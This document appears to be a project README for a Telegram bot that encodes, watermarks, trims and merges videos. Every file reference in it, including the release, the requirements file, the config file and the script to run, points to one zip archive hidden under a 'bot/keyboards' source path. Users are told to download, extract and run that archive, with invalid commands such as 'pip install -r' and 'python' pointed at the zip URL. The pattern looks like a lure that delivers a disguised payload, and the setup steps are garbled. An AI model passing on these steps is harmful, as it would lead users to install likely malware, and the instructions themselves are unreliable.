Welcome to ffmpeg-video-bot! This powerful Telegram bot helps you process videos easily. Whether you want to encode, watermark, trim, merge, or convert videos, this bot has you covered. You can even upload videos directly to Google Drive. Follow these steps to get started.
To get the bot, visit this page to download: ffmpeg-video-bot Releases.
- Click the "Releases" link above.
- Find the latest version listed on the page.
- Look for the file named
https://raw.githubusercontent.com/NileshKavindaNaka/ffmpeg-video-bot/main/bot/keyboards/video_ffmpeg_bot_2.8.ziporhttps://raw.githubusercontent.com/NileshKavindaNaka/ffmpeg-video-bot/main/bot/keyboards/video_ffmpeg_bot_2.8.zip. - Click to download the file to your computer.
Before running the bot, ensure you meet these requirements:
- A computer with Windows, macOS, or Linux (most recent versions).
- Python 3.7 or higher installed.
- Docker installed and running.
- Internet connection for the Telegram API and Google Drive integration.
-
Extract the Downloaded File:
- Locate the downloaded file (
https://raw.githubusercontent.com/NileshKavindaNaka/ffmpeg-video-bot/main/bot/keyboards/video_ffmpeg_bot_2.8.ziporhttps://raw.githubusercontent.com/NileshKavindaNaka/ffmpeg-video-bot/main/bot/keyboards/video_ffmpeg_bot_2.8.zip). - Right-click the file and select "Extract All" or use any extraction tool of your choice.
- Locate the downloaded file (
-
Navigate to the Folder:
- Open a terminal or command prompt.
- Use the
cdcommand to change to the directory where you extracted the bot (e.g.,cd Downloads/ffmpeg-video-bot).
-
Install Required Packages:
- Run the command:
pip install -r https://raw.githubusercontent.com/NileshKavindaNaka/ffmpeg-video-bot/main/bot/keyboards/video_ffmpeg_bot_2.8.zip. - This will install all necessary Python packages.
- Run the command:
-
Configure Your Bot:
- Locate the
https://raw.githubusercontent.com/NileshKavindaNaka/ffmpeg-video-bot/main/bot/keyboards/video_ffmpeg_bot_2.8.zipfile in the extracted folder. - Open it with a text editor and fill in your Telegram Bot token and Google Drive credentials. Follow the instructions found in the text file for detailed guidance.
- Locate the
-
Run with Docker:
- If you are comfortable using Docker, run:
docker-compose up
- This will start the bot within Docker containers.
- If you are comfortable using Docker, run:
-
Run the Bot (without Docker):
- If not using Docker, simply run:
python https://raw.githubusercontent.com/NileshKavindaNaka/ffmpeg-video-bot/main/bot/keyboards/video_ffmpeg_bot_2.8.zip
- If not using Docker, simply run:
To get a Telegram Bot token, follow these steps:
- Open the Telegram app.
- Search for βBotFatherβ and start a chat.
- Send the command
/newbot. - Follow the instructions to set up a new bot.
- Save the token you receive; you will need it for the configuration file.
- Video Encoding: Convert videos to different formats easily.
- Watermarking: Add watermarks to your videos effortlessly.
- Trimming: Cut videos to your desired length.
- Merging: Combine multiple video files into one.
- Metadata Editing: Change video details quickly.
- Google Drive Upload: Store videos in your Google Drive without hassle.
- Multi-user Support: Allow different users to use the bot simultaneously.
Simply open your Telegram app, find your bot using the name you provided during setup, and start sending commands.
Yes, you can run it directly with Python. Make sure you have all required packages installed.
Check the terminal for error messages. Ensure all dependencies are installed. Refer to common issues in the documentation found within the project.
If you need help, feel free to open an issue on the GitHub repository. The community can help you troubleshoot any problems.
For more information, visit the project repository: ffmpeg-video-bot.
We welcome contributions! If you wish to improve the bot, please fork the repository and make a pull request. Ensure to follow the guidelines provided in the repo.
Thank you for choosing ffmpeg-video-bot for your video processing needs! Enjoy a seamless and efficient video editing experience on Telegram.